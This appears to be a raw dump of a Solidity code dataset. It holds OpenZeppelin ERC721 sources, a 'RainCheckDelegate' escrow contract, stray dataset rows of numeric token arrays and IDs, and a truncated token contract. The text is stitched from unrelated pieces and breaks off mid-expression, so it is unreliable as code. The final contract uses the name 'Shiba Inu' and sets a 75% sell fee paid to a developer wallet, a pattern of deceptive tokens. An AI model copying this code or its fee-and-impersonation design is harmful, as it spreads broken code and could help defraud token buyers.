(token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: RainCheck/RainCheckDelegate.sol pragma solidity ^0.8.0; contract RainCheckDelegate is ERC721Enumerable, Pausable, Ownable { address public _delegate; address public _collection; string public _BASEURI; mapping(address => bool) public _whitelist; struct CheckInfo { mapping(string => address) addressInfo; //erc20, from, to mapping(string => uint256) valueInfo; //amount, fee, stakeTime, limitTime mapping(string => bool) boolInfo; //isErc20, isEth mapping(string => string) stringInfo; //memo } mapping(uint256 => CheckInfo) _dataMap; //tokenid => CheckInfo //constructor //========================================= constructor() ERC721("RainCheckDelegate", "RCD") { } //rainCheck //========================================= function rainCheckStakeEth(address to, uint256 limitTime, uint256 fee, string memory memo) public payable whenNotPaused { uint256 total = msg.value; require(total > fee, "RainCheck: amount must be greater than 0"); uint256 amount = total - fee; //require(to != address(0), "RainCheck: transfer to the zero address"); //checkFee uint256 tempFee = amount/500; require(fee >= tempFee, "RainCheck: the handling fee is too low"); //transfer if (fee > 0) { payable(_collection).transfer(fee); } //nft uint256 tokenId = super.totalSupply() + 1; super._mint(msg.sender, tokenId); //setInfo _dataMap[tokenId].addressInfo["from"] = msg.sender; _dataMap[tokenId].addressInfo["to"] = to; _dataMap[tokenId].valueInfo["amount"] = amount; _dataMap[tokenId].valueInfo["fee"] = fee; _dataMap[tokenId].valueInfo["stakeTime"] = block.timestamp; _dataMap[tokenId].valueInfo["limitTime"] = limitTime; _dataMap[tokenId].boolInfo["isEth"] = true; _dataMap[tokenId].stringInfo["memo"] = memo; } function rainCheckStakeErc20(address erc20Address, uint256 total, address to, uint256 limitTime, uint256 fee, string memory memo) public whenNotPaused { require(total > fee, "RainCheck: amount must be greater than 0"); uint256 amount = total - fee; //require(to != address(0), "RainCheck: transfer to the zero address"); IERC20 erc20 = IERC20(erc20Address); //checkFee uint256 tempFee = amount/500; require(fee >= tempFee, "RainCheck: the handling fee is too low"); //transfer if (fee > 0) { bool feeSuccess = erc20.transferFrom(msg.sender, _collection, fee); require(feeSuccess, "RainCheck: transfer fee failed"); } bool transferSuccess = erc20.transferFrom(msg.sender, address(this), amount); require(transferSuccess, "RainCheck: transfer failed"); //nft uint256 tokenId = super.totalSupply() + 1; super._mint(msg.sender, tokenId); //setInfo _dataMap[tokenId].addressInfo["erc20"] = erc20Address; _dataMap[tokenId].addressInfo["from"] = msg.sender; _dataMap[tokenId].addressInfo["to"] = to; _dataMap[tokenId].valueInfo["amount"] = amount; _dataMap[tokenId].valueInfo["fee"] = fee; _dataMap[tokenId].valueInfo["stakeTime"] = block.timestamp; _dataMap[tokenId].valueInfo["limitTime"] = limitTime; _dataMap[tokenId].boolInfo["isErc20"] = true; _dataMap[tokenId].stringInfo["memo"] = memo; } function rainCheckWithdraw(uint256 tokenId) public whenNotPaused { address tokenOwner = super.ownerOf(tokenId); require(tokenOwner == msg.sender, "RainCheck: this token doesn't belong to you"); CheckInfo storage info = _dataMap[tokenId]; require(info.valueInfo["amount"] > 0, "RainCheck: this token is already been exchanged"); require(block.timestamp > (info.valueInfo["stakeTime"] + info.valueInfo["limitTime"]), "RainCheck: It's not yet the agreed time"); //amount & to uint256 amount = info.valueInfo["amount"]; info.valueInfo["amount"] = 0; address to = info.addressInfo["to"]; if (to == address(0)) { to = msg.sender; } //withdraw if (info.boolInfo["isErc20"]) { IERC20 erc20 = IERC20(info.addressInfo["erc20"]); bool transferSuccess = erc20.transfer(to, amount); require(transferSuccess, "RainCheck: transfer fail"); return; } if (info.boolInfo["isEth"]) { payable(to).transfer(amount); return; } } function rainCheckVoid(uint256 tokenId) public whenNotPaused { address tokenOwner = super.ownerOf(tokenId); require(tokenOwner == msg.sender, "RainCheck: this token doesn't belong to you"); CheckInfo storage info = _dataMap[tokenId]; require(info.valueInfo["amount"] > 0, "RainCheck: this token is already been exchanged"); //amount & to uint256 amount = info.valueInfo["amount"]; info.valueInfo["amount"] = 0; address to = info.addressInfo["from"]; //Void if (info.boolInfo["isErc20"]) { IERC20 erc20 = IERC20(info.addressInfo["erc20"]); bool transferSuccess = erc20.transfer(to, amount); require(transferSuccess, "RainCheck: transfer fail"); return; } if (info.boolInfo["isEth"]) { payable(to).transfer(amount); return; } } }
rainCheck=========================================require(to != address(0), "RainCheck: transfer to the zero address");checkFeetransfer
function rainCheckStakeEth(address to, uint256 limitTime, uint256 fee, string memory memo) public payable whenNotPaused { uint256 total = msg.value; require(total > fee, "RainCheck: amount must be greater than 0"); uint256 amount = total - fee; uint256 tempFee = amount/500; require(fee >= tempFee, "RainCheck: the handling fee is too low"); if (fee > 0) { payable(_collection).transfer(fee); } super._mint(msg.sender, tokenId); _dataMap[tokenId].addressInfo["to"] = to; _dataMap[tokenId].valueInfo["amount"] = amount; _dataMap[tokenId].valueInfo["fee"] = fee; _dataMap[tokenId].valueInfo["stakeTime"] = block.timestamp; _dataMap[tokenId].valueInfo["limitTime"] = limitTime; _dataMap[tokenId].boolInfo["isEth"] = true; _dataMap[tokenId].stringInfo["memo"] = memo; }
12,090,894
[ 1, 7596, 1564, 4428, 1432, 33, 6528, 12, 869, 480, 1758, 12, 20, 3631, 315, 54, 530, 1564, 30, 7412, 358, 326, 3634, 1758, 8863, 1893, 2954, 16354, 634, 586, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 767, 267, 1564, 510, 911, 41, 451, 12, 2867, 358, 16, 2254, 5034, 1800, 950, 16, 2254, 5034, 14036, 16, 533, 3778, 11063, 13, 1071, 8843, 429, 1347, 1248, 28590, 288, 203, 3639, 2254, 5034, 2078, 273, 1234, 18, 1132, 31, 203, 3639, 2583, 12, 4963, 405, 14036, 16, 315, 54, 530, 1564, 30, 3844, 1297, 506, 6802, 2353, 374, 8863, 203, 3639, 2254, 5034, 3844, 273, 2078, 300, 14036, 31, 203, 540, 203, 3639, 2254, 5034, 1906, 14667, 273, 3844, 19, 12483, 31, 203, 3639, 2583, 12, 21386, 1545, 1906, 14667, 16, 315, 54, 530, 1564, 30, 326, 5057, 14036, 353, 4885, 4587, 8863, 203, 203, 3639, 309, 261, 21386, 405, 374, 13, 288, 203, 5411, 8843, 429, 24899, 5548, 2934, 13866, 12, 21386, 1769, 203, 3639, 289, 203, 540, 203, 540, 203, 3639, 2240, 6315, 81, 474, 12, 3576, 18, 15330, 16, 1147, 548, 1769, 203, 203, 540, 203, 3639, 389, 892, 863, 63, 2316, 548, 8009, 2867, 966, 9614, 869, 11929, 273, 358, 31, 203, 540, 203, 3639, 389, 892, 863, 63, 2316, 548, 8009, 1132, 966, 9614, 8949, 11929, 273, 3844, 31, 203, 3639, 389, 892, 863, 63, 2316, 548, 8009, 1132, 966, 9614, 21386, 11929, 273, 14036, 31, 203, 3639, 389, 892, 863, 63, 2316, 548, 8009, 1132, 966, 9614, 334, 911, 950, 11929, 273, 1203, 18, 5508, 31, 203, 3639, 389, 892, 863, 63, 2316, 548, 8009, 1132, 966, 9614, 3595, 950, 11929, 273, 1800, 950, 31, 203, 540, 203, 3639, 389, 892, 863, 63, 2316, 2 ]
./full_match/4/0xcf50B96Ac67239Cb5D736636b17bdE3e669c5555/sources/Users/scvsh/k_next/next/contracts/Kult.sol
Override ERC1155Tradable for birth events
function _origin( uint256 /* _id */ ) internal view returns (address) { return owner(); }
789,146
[ 1, 6618, 4232, 39, 2499, 2539, 1609, 17394, 364, 17057, 2641, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 10012, 12, 203, 3639, 2254, 5034, 1748, 389, 350, 1195, 203, 565, 262, 2713, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 3410, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x295905FA930f1d217C2f7D4DdCaa1A733cC1076F/sources/CHINESESHIB.sol
Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract CHINESESHIB is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event devWalletUpdated( address indexed newWallet, address indexed oldWallet ); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Shiba Inu", unicode"柴犬") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 0; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 25; uint256 _sellMarketingFee = 0; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 75; uint256 totalSupply = 1_000_000 * 1e18; maxTransactionAmount = 20_000 * 1e18; maxWallet = 20_000 * 1e18; swapTokensAtAmount = (totalSupply * 10) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + 